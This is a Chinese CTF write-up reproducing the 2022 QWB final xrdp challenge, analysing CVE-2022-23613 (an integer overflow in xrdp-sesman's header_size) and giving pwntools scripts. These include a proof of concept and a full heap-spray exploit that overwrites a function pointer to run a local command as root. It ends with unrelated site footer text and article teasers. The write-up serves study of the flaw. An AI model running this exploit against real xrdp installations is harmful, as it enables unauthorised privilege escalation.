CTF特训日记day(4-6)

来复现一下2022QWB决赛的RDP题目

这两天腰疼去了趟医院

题目要求我们攻击XRDP程序,从而达到本地提权的效果。
首先观察XRDP程序的版本信息

root@RDP:/home/rdp/Desktop# xrdp-sesman -version
xrdp-sesman 0.9.18
  The xrdp session manager
  Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
  See https://github.com/neutrinolabs/xrdp for more information.

  Configure options:

然后在CVE里搜一下发现有个漏洞版本刚好合适,并且满足题目的提权要求
在这里插入图片描述

从CVE介绍中获得漏洞补丁URL
MISC:https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa

可以看到修改的代码行数很少,可以比较容易的分析出漏洞成因
在这里插入图片描述

根据patch信息以及漏洞描述可以判断出漏洞成因是size导致的整型溢出。这里的size会直接赋值给self->header_size。

进入题目虚拟机之后会在RW文件夹下找到一个diff文件

在这里插入图片描述

看上去应该是作者为了方便我们使用漏洞实现提权操作而进行的一个diff

查看一下服务开放的服务
在这里插入图片描述
经分析,做题思路暂时可以确定为通过CVE-2022-23613漏洞配合题目所给出的diff攻击题目开放在3350的xrdp-sesman服务进行本地提权。

接下来在源码中对程序漏洞进行一下简单的分析,在sesman.c中会有一个主循环sesman_main_loop,主循环会创建一个g_list_trans
在这里插入图片描述
其接收连接的函数主要实现在sesman_listen_conn_in中
在这里插入图片描述
最后走到patch中的sesman_data_in

在这里插入图片描述

有一个宏in_uint32_be,在parse.h中有具体展开,就不放了,其实就是从arg1中拿一个int出来给arg2,并让arg1作为int指针加一,这里可以理解成self->in_s指向了程序接收到的用户输入,其中第一个dword作为版本信息给version变量,第二个dword作为headersize给size变量。

在这里由于size是可以自己指定的,所以相当于self->header_size变成了一个用户可控的int类型数据。

在函数trans_check_wait_objs中有此变量的后续应用

if (self->type1 == TRANS_TYPE_LISTENER)/* listening */
{
g_sck_can_recv
g_sck_accept
...
}
else /* connected server or client (2 or 3) */
{
	if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
    {
    }
    else if (self->trans_can_recv(self, self->sck, 0))
    {
        cur_source = XRDP_SOURCE_NONE;
        if (self->si != 0)
        {
            cur_source = self->si->cur_source;
            self->si->cur_source = self->my_source;
        }
        read_so_far = (int) (self->in_s->end - self->in_s->data);
        to_read = self->header_size - read_so_far;
        if (to_read > 0)
        {
	        read_bytes = self->trans_recv(self, self->in_s->end, to_read);
	        ......
        }
        read_so_far = (int) (self->in_s->end - self->in_s->data);
        if (read_so_far == self->header_size)
        {
            if (self->trans_data_in != 0)
            {
                rv = self->trans_data_in(self);
                if (self->no_stream_init_on_data_in == 0)
                {
                    init_stream(self->in_s, 0);
                }
            }
        }
}

程序在此函数中进行了监听和接收数据的处理流程,其中比较值得注意的就是这行代码

to_read = self->header_size - read_so_far;

这里的to_read也为int,并且如果to_read大于零会执行self->trans_recv(self, self->in_s->end, to_read);

这个函数注册与create阶段
在这里插入图片描述
即实际执行的是trans_tcp_recv,追溯到最后就是原生的recv函数,而其缓冲区则是self->in_s,通过init_stream函数分配空间
在这里插入图片描述
分配到的是堆上的空间,而in_size则是在sesman.c中写死的8192
在这里插入图片描述

分析到这里整体漏洞成因已经彻底清楚了,如果我们能控制一个不受任何限制的header_size,将其控制为0x80000000,即一个最小负数,从而绕过header_size不能大于总的输入长度的限制,然后read_so_far作为一个随意的小数,相减以后发生负溢出,header_size将变成一个非常巨大的远超8192的正数,从而导致堆溢出发生。

漏洞分析就到这里,接下来写一个poc调试一下看看是否会触发。

首先看一下xrdp-sesman的pid,然后attach上去,写出poc脚本进行测试,attach的时候断点可以下在trans_check_wait_objs处

测试脚本非常简单

from pwn import *
payload=b'v'*4
payload+=p32(0x80000000)
io=remote("127.0.0.1",3350)
io.send(payload)
io.send('a'*0x1000)


成功断在了函数处
在这里插入图片描述

但是随着调试发现事情不对劲

这里明明应该是0x80000000和0x9,但是变成了0x80和0x9,导致预期的整数负溢出没有发生
在这里插入图片描述

这也就导致到了调用tcp_recv的时候rdx并不是一个非常大的数
在这里插入图片描述

猜测由于网络传输是大端序,所以不能直接p32,于是修改脚本:
在这里插入图片描述

这一次成功将rdx修改为一个超大正整数,发生堆溢出
在这里插入图片描述

有了堆溢出以后,可以试着寻找分配在堆上且有函数指针的结构体,之前分析源码的时候有遇到过一个create函数
在这里插入图片描述

这里不仅输入输出缓冲区是用init_stream分配出来的堆空间,其本身也是g_malloc分配出来的堆空间,上面填充了recv,send等函数,如果能够通过堆溢出将recv函数为程序本身就有的g_execlp3,则相当于可以调用system函数,那么能否控制rdi呢?来看看recv函数具体调用的时候寄存器的状态

在这里插入图片描述

在调用的时候tcp_recv函数位置由rbx进行定位,而rbx和rdi所指向的都当前trans结构体,也就是说只要我们保证结构体中recv函数指针覆盖为exec的同时覆盖结构体的开头为我们想要执行的命令,则可以在下一次使用此trans接收数据的时候执行任意命令。

还剩一个问题,就是堆空间非常复杂,我们能否精准的覆盖到指定的结构体上完成了漏洞利用,这个问题一定程度上来说出题人已经帮我们解决了一大半了,还记得当初的diff吗。将原本为16的MAX_SHORT_LIVED_CONNECTIONS改成了512,这意味着我们可以通过不停创建trans进行堆喷。

通过堆溢出修改堆上的函数指针,并且rdi指向的是结构体头部,所以rdi也可以直接控下,由于我们的任务只是提权,所以可以提前在系统中写入要执行文件,这样在进行漏洞利用的时候只需要执行一条命令即可。

在实际调试的过程中遇到好几处地方需要保证只是是一个可写地址,具体有哪些地址需要额外关照,有两种方式,第一种是通过对程序进行逆向,分析其机构体中有哪些字段需要为可写地址,第二种方式是直接调试,第一次覆盖的时候除了函数指针以外其余所有地方直接用0填充,然后下断点进行调试,就可以看到有些取值指令是执行失败的,遇到取值指令失败的地方就填一个可写地址上去,慢慢调就可以了。

from pwn import *
elf=ELF('./xrdp-sesman')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
with open("/tmp/do", "w") as f:
    f.write("#!/bin/bash\necho \"Ayaka\" > /flag")
os.system("chmod a+x /tmp/do")
conn_list=[]
def heap_spray():
    for i in range(100):
        io=remote("127.0.0.1",3350)
        conn_list.append(io)
heap_spray()
bss=0x40a000
input()
system_plt=elf.plt['g_execlp3']
payload=b'v'*4
payload+=p32(0x80000000)[::-1]
io1=conn_list[97]
io1.send(payload)
payload=p64(bss)*(0x4160//8)+p64(0x2b0)+b'/tmp/do\x00'
payload+=p32(1)*2+p64(2)+p64(0)*3+p64(0x400318)+p64(bss)*2+p64(0)*71+p64(0x0000000000403BF0)+p64(0x0000000000403C40)*2
io1.send(payload)

conn_list[98].send("a"*8)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/220354.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

supervisor管理python进程

前言 平时开发调试中使用conda环境,项目比较多环境多,而且命令繁杂,每一次启动项目都可能会因为忘记启动方式而频繁报错。现在可以通过supervisor来管理,只需要配置几个文件,就可以轻松通过简单一致的命令启动工程&…

《悲风》——川西的爱情史诗-历史风貌中的人性之旅

《悲风》——川西的爱情史诗-历史风貌中的人性之旅 《悲风》:一部穿越时空的情感史诗,展现了中国川西地区的历史风貌和深刻的人性探索。本作品以1936年秋为起点,讲述了一个关于爱情、忠诚、背叛与成长的故事。 故事主线围绕着两个青梅竹马的…

项目经理是干出来的,不是教出来的

大家好,我是老原。 有不少新手项目经理,在通过了PMP认证考试,拿到PMP证书后,对之前无序的项目管理状态感觉有了一丝通透的感觉,对接受新项目更是信心满满。 然后就有不少没有项目管理经验,且刚刚考取PMP证…

Photoshop最新版PS2024安装使用 Ver25.0.0

Photoshop,这个是长红了几十年的软件,我大概从它的3.0版本开始用,目前已迭代到25.0,但一直还在用CS4/11.0版本,一直秉持着够用即可的原则,因为不是专业的平面设计人员,能够简单PP图片就行。&…

关于队列的简单理解

1.队列(Queue) 1.1 关于队列 队列 :只允许在一端进行插入数据操作,在另一端进行删除数据操作的特殊线性表, 队列具有先进先出 FIFO(First In First Out)的操作特性(队列是个接口); 入队列&#x…

P5 Linux 标准C库函数

目录 前言 01 标准输入、标准输出和标准错误 02 打开文件 fopen() 03 新建文件的权限 04 fclose()关闭文件 05 读文件和写文件 06 库函数 fseek 定位 6.1 lseek的使用 07 ftell()函数 前言 🎬 个人主页:ChenPi 🐻推荐专栏1: 《C_Chen…

2005-2021年地级市绿色发展注意力数据(根据政府报告文本词频统计)

2005-2021年地级市绿色发展注意力数据(根据政府报告文本词频统计) 1、时间:2005-2021年 2、指标:省、市、年份、一级指标、关键词、关键词词频、总词频 3、范围:270个地级市 4、来源:地级市政府工作报告…

最全Web前端校招面试真题合集(附答案)

历时半年,我们整理了这份市面上最全面的前端校招面试题解析大全。 包含了腾讯、字节跳动、百度、阿里、滴滴、美团、58、拼多多、360、新浪、搜狐等一线互联网公司面试被问到的题目。希望对大家参加前端校招有所帮助吧! HTML 浏览器页面有哪三层构成&…

Android MVVM+coroutine+retrofit+flow+hilt

文章目录 Android MVVMcoroutineretrofitflowhilt概述依赖注入层数据层视图层模型视图层代码下载 Android MVVMcoroutineretrofitflowhilt 概述 代码结构: 依赖注入层 数据库: Module InstallIn(SingletonComponent::class) class DBModule {Singleto…

力扣第374场周赛题解

这一场周赛的题目是比较难的一次,写了1个多小时就写了两个题目。 首先第一题: 纯水题,遍历然后进行一下判断就可以解决了。这边就不放代码了。 第二题: 这个题目,我觉得难度非常大,其实代码量也不大都是很…

C语言--每日选择题--Day36

第一题 1. 以下关于指针的说法,正确的是() A:int *const p 与 int const *p等价 B:const int *p 与 int *const p等价 C:const int *p 与 int const *p 等价 D:int *p[10] 与 int (*p)[10] 等价 答案及解析 C const 在*的左侧&…

Hadoop学习笔记(HDP)-Part.02 核心组件原理

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

Java操作Excel之 POI介绍和入门

POI是Apache 提供的一个开源的Java API,用于操作Microsoft文档格式,如Excel、Word和PowerPoint等。POI是Java中处理Microsoft文档最受欢迎的库。 截至2023/12, 最新版本时 POI 5.2.5。 JDK版本兼容 POI版本JDK版本4.0及之上版本> 1.83.…

【面试】Java最新面试题资深开发-JVM第一弹

问题一:Java中的垃圾回收机制 在Java中,垃圾回收是如何工作的,可以简要描述一下垃圾回收的算法有哪些吗? 在Java中,垃圾回收是一种自动管理内存的机制,它负责识别不再被程序引用的对象并释放其占用的内存…

有趣的代码——有故事背景的程序设计3

这篇文章再和大家分享一些有“背景”的程序设计,希望能够让大家学到知识的同时,对编程学习更感兴趣,更能在这条路上坚定地走下去。 目录 1.幻方问题 2.用函数打印九九乘法表 3.鸡兔同笼问题 4.字数统计 5.简单选择排序 1.幻方问题 幻方又…

力扣101. 对称二叉树(递归法,迭代法,层次遍历法)

题目: 给你一个二叉树的根节点 root , 检查它是否轴对称。 示例 1: 输入:root [1,2,2,3,4,4,3] 输出:true示例 2: 输入:root [1,2,2,null,3,null,3] 输出:false 代码及详细注释&…

⭐ Unity里 用Shader 去做实时动态绿幕抠图

1.先看一下效果 a.这是背景图片 b.抠完图之后(这里用的是扣去白色的) 2.shader代码如下 Shader "UniversalChromaKey" {Properties{_MainTex("Base (RGB)", 2D) "white" {}_Sens("Sensibilidad", Range(0,.9)) .3_Cutoff("R…

【AIGC】AI作图最全提示词prompt集合(收藏级)

目录 一、正向和负向提示词 二、作图参数 你好,我是giszz. AI做图真是太爽了,解放生产力,发展生产力。 但是,你是不是也总疑惑,为什么别人的图,表现力那么丰富呢,而且指哪打哪,要…

模拟电路学习笔记(一)之芯片篇(持续更新)

模拟电路学习笔记(一)之芯片篇(持续更新) 1.CD4047BE芯片 CD4047是一种包含高电压的多谐振荡器,该器件的操作可以在两种模式下完成,分别是单稳态和非稳态。CD4047需要一个外部电阻器和电容器来决定单稳态…

二叉树的前序中序后序遍历

二叉树的前序中序后序遍历-含递归和迭代代码 前序(中左右)中序(左中右)后序(左右中) 前序(中左右) 对于二叉树中的任意一个节点,先打印该节点,然后是它的左子树,最后右子树 A-B-D-E-C-F //递归 const preorderTraversal (root) > {const…